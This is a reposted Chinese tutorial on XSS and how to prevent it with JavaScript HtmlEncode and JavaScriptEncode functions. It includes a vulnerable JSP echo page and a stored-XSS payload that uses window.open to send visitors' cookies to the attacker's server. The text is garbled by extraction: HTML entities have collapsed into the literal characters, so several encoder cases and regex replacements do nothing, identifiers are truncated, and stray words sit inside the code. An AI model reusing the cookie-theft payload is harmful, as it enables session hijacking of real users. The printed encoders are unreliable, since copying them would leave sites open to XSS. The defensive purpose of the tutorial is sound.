预防XSS⽅法:HtmlEncode和JavaScriptEncode(转)
XSS⼜称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且⽤于客户端的攻击⽅式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的⽹站中输⼊(传⼊)恶意的HTML代码,当其它⽤户浏览该⽹站时,这段HTML代码会⾃动执⾏,从⽽达到攻击的⽬的。如,盗取⽤户Cookie、破坏页⾯结构、重
定向到其它⽹站等。
XSS攻击
XSS攻击类似于SQL注⼊攻击,攻击之前,我们先到⼀个存在XSS漏洞的⽹站,XSS漏洞分为两种,⼀种是DOM Based XSS漏洞,另⼀种是Stored XSS漏洞。理论上,所有可输⼊的地⽅没有对输⼊数据进⾏处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威⼒,攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是⼀种基于⽹页DOM结构的攻击,该攻击特点是中招的⼈是少数⼈。
场景⼀:
当我登录a后,我发现它的页⾯某些内容是根据url中的⼀个叫content参数直接显⽰的,猜测它测页⾯处理可能是这样,其它语⾔类似:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页⾯内容:<%=Parameter("content")%>
</body>
</html>
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多⼈。
场景⼆:
a可以发⽂章,我登录后在a中发布了⼀篇⽂章,⽂章中包含了恶意代码,<script>window.open(“www.
b?param=”+kie)</script>,保存⽂章。这时Tom和Jack看到了我发布的⽂章,当在查看我的⽂章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个⼈。
Stored XSS漏洞危害性更⼤,危害⾯更⼴。
在数据添加到DOM时候,我们可以需要对内容进⾏HtmlEncode或JavaScriptEncode,以预防XSS攻击。
JavaScriptEncode
使⽤“\”对特殊字符进⾏转义,除数字字母之外,⼩于127的字符编码使⽤16进制“\xHH”的⽅式进⾏编码,⼤于⽤unicode(⾮常严格模式)。
//使⽤“\”对特殊字符进⾏转义,除数字字母之外,⼩于127使⽤16进制“\xHH”的⽅式进⾏编码,⼤于⽤unicode(⾮常严格模式)。
var JavaScriptEncode = function(str){
var hex=new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
function changeTo16Hex(charCode){
return "\\x" + charCode.charCodeAt(0).toString(16);
}
function encodeCharx(original) {
var found = true;
var thecharchar = original.charAt(0);
var thechar = original.charCodeAt(0);
switch(thecharchar) {
case '\n': return "\\n"; break; //newline
case '\r': return "\\r"; break; //Carriage return
case '\'': return "\\'"; break;
case '"': return "\\\""; break;
case '\&': return "\\&"; break;
case '\\': return "\\\\"; break;
case '\t': return "\\t"; break;
case '\b': return "\\b"; break;
case '\f': return "\\f"; break;
case '/': return "\\x2F"; break;
case '<': return "\\x3C"; break;
case '>': return "\\x3E"; break;
default:
found=false;
break;
}
if(!found){
if(thechar > 47 && thechar < 58){ //数字
return original;
}
if(thechar > 64 && thechar < 91){ //⼤写字母
return original;
}
if(thechar > 96 && thechar < 123){ //⼩写字母
return original;
}
if(thechar>127) { //⼤于127⽤unicode
var c = thechar;
var a4 = c%16;
c = Math.floor(c/16);
var a3 = c%16;
c = Math.floor(c/16);
var a2 = c%16;
c = Math.floor(c/16);
var a1 = c%16;
return "\\u"+hex[a1]+hex[a2]+hex[a3]+hex[a4]+""; }
else {
return changeTo16Hex(original);
}
}
}
var preescape = str;
var escaped = "";
var i=0;
for(i=0; i < preescape.length; i++){
escaped = escaped + encodeCharx(preescape.charAt(i));
}
return escaped;
}
HtmlEncode
将字符转换成HTMLEntites,以对抗XSS。
var HtmlEncode = function(str){
var hex = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); var preescape = str;
var escaped = "";
for(var i = 0; i < preescape.length; i++){
var p = preescape.charAt(i);
escaped = escaped + escapeCharx(p);
}
return escaped;
function escapeCharx(original){
var found=true;
var thechar=original.charCodeAt(0);
switch(thechar) {
case 10: return "<br/>"; break; //newline
case 32: return " "; break; //space
case 34:return """; break; //"
case 38:return "&"; break; //&
case 39:return "'"; break; //'
case 47:return "/"; break; // /
case 60:return "<"; break; //<
case 62:return ">"; break; //>
case 198:return "Æ"; break;
case 193:return "Á"; break;
case 194:return "Â"; break;
case 192:return "À"; break;
case 197:return "Å"; break;
case 195:return "Ã"; break;
case 196:return "Ä"; break;
case 199:return "Ç"; break;
case 208:return "Ð"; break;
case 201:return "É"; break;
case 202:return "Ê"; break;
case 200:return "È"; break;
case 203:return "Ë"; break;
case 205:return "Í"; break;
case 206:return "Î"; break;
case 204:return "Ì"; break;
case 207:return "Ï"; break;
case 209:return "Ñ"; break;
case 211:return "Ó"; break;
case 212:return "Ô"; break;
case 210:return "Ò"; break;
case 216:return "Ø"; break;
case 213:return "Õ"; break;
case 214:return "Ö"; break;
pdf转htmlcase 222:return "Þ"; break;
case 218:return "Ú"; break;
case 219:return "Û"; break;
case 217:return "Ù"; break;
case 220:return "Ü"; break;
case 221:return "Ý"; break;
case 225:return "á"; break;
case 226:return "â"; break;
case 230:return "æ"; break;
case 224:return "à"; break;
case 229:return "å"; break;
case 227:return "ã"; break;
case 228:return "ä"; break;
case 231:return "ç"; break;
case 233:return "é"; break;
case 234:return "ê"; break;
case 232:return "è"; break;
case 240:return "ð"; break;
case 235:return "ë"; break;
case 237:return "í"; break;
case 238:return "î"; break;
case 236:return "ì"; break;
case 239:return "ï"; break;
case 241:return "ñ"; break;
case 243:return "ó"; break;
case 244:return "ô"; break;
case 242:return "ò"; break;
case 248:return "ø"; break;
case 245:return "õ"; break;
case 246:return "ö"; break;
case 223:return "ß"; break;
case 254:return "þ"; break;
case 250:return "ú"; break;
case 251:return "û"; break;
case 249:return "ù"; break;
case 252:return "ü"; break;
case 253:return "ý"; break;
case 255:return "ÿ"; break;
case 162:return "¢"; break;
case '\r': break;
default:
found=false;
break;
}
if(!found){
if(thechar>127) {
var c=thechar;
var a4=c%16;
c=Math.floor(c/16);
var a3=c%16;
c=Math.floor(c/16);
var a2=c%16;
c=Math.floor(c/16);
var a1=c%16;
return "&#x"+hex[a1]+hex[a2]+hex[a3]+hex[a4]+";";
}
else{
return original;
}
}
}
}
Test
<button onclick='alert("1\x29\x3balert\x282\u54c8\u54c8\x29")'>测试JavaScriptEncode值</button>
<div><script>alert('1哈哈' /);</script></div>
这些编码后的内容都能在页⾯上显⽰正常。
番外
还有⼈弄了简单HtmlEncode,有两种⽅式。
1. ⽤浏览器内部转换器实现html转码(但我觉得这种⽅式有风险的,因为内部转换器可能有漏洞)。
2. 只转⼀部分html字符(这种⽅式不完整)。
var HtmlUtil = {
htmlEncode:function (html){
var temp = ateElement ("div");
(Content != undefined ) ? (Content = html) : (temp.innerText = html);
var output = temp.innerHTML;
temp = null;
return output;
},
htmlDecode:function (text){
var temp = ateElement("div");
temp.innerHTML = text;
var output = temp.innerText || Content;
temp = null;
return output;
},
htmlEncodeByRegExp:function (str){
var s = "";
if(str.length == 0) return "";
s = place(/&/g,"&");
s = s.replace(/</g,"<");
s = s.replace(/>/g,">");
s = s.replace(/ /g," ");
s = s.replace(/\'/g,"'");
s = s.replace(/\"/g,""");
return s;
},
htmlDecodeByRegExp:function (str){ var s = "";
if(str.length == 0) return "";
s = place(/&/g,"&");
s = s.replace(/</g,"<");
s = s.replace(/>/g,">");
s = s.replace(/ /g," ");
s = s.replace(/'/g,"\'");
s = s.replace(/"/g,"\"");
return s;
}
};
发布评论